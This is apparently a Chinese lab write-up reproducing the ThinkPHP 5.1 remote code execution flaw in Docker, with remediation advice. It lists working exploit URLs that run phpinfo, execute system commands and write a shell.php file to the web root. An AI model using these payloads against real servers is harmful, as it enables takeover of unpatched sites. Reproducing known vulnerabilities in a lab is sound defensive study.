thinkPHP5.1漏洞复现
0x01 前言
。。。
0x01 docker复现
这一块弄了好几天,一直不会用docker复现cms。
利用官方lamp镜像,一开始用的镜像的PHP版本是5.5的,但是thinkPHP5.1需要PHP5.6以上,一直没有成功,后来换了一个镜像PHP7.3的,成功了!!!
- 搜索lamp镜像
docker search lamp
- 拉取镜像
docker pull mattrayner/lamp
- 新建docker容器,并映射端口号
docker run -d -p [host port]:[docker port][image]
- 查看运行中的docker容器
docker ps -a
- 进入一个docker容器
docker exec -it [container id] bash
- 拷贝本地文件到docker
docker cp [本地路径] [container id]:[container 路径]
- 启动服务
1
2service apache2 start
service mysql start
0x02 命令执行漏洞利用
漏洞环境
1 | thinkPHP5.1.1 |
代码执行:
http://192.168.72.131:89/tp5.1/public/?s=index/\think\Request/input&filter=phpinfo&data=1
http://192.168.72.131:89/tp5.1/public/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
命令执行:
http://192.168.72.131:89/tp5.1/public/index.php?s=index/\think\Container/invokeFunction&function=call_user_func_array&vars[]=system&vars[1][]=ls%20-l
http://192.168.72.131:89/tp5.1/public/index.php?s=index/\think\Container/invokeFunction&function=call_user_func_array&vars[]=system&vars[1][]=whoami
文件写入:
http://192.168.72.131:89/tp5.1/public/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][1]=%3C?php%20phpinfo();?%3E
访问:http://192.168.72.131:89/tp5.1/public/shell.php
0x03 漏洞修复
- 更新thinkPHP版本
- 手工修复
根据官方给出的方案进行代码修改。
https://github.com/top-think/framework/commit/f0f9fc71b8b3716bd2abdf9518bcdf1897bb776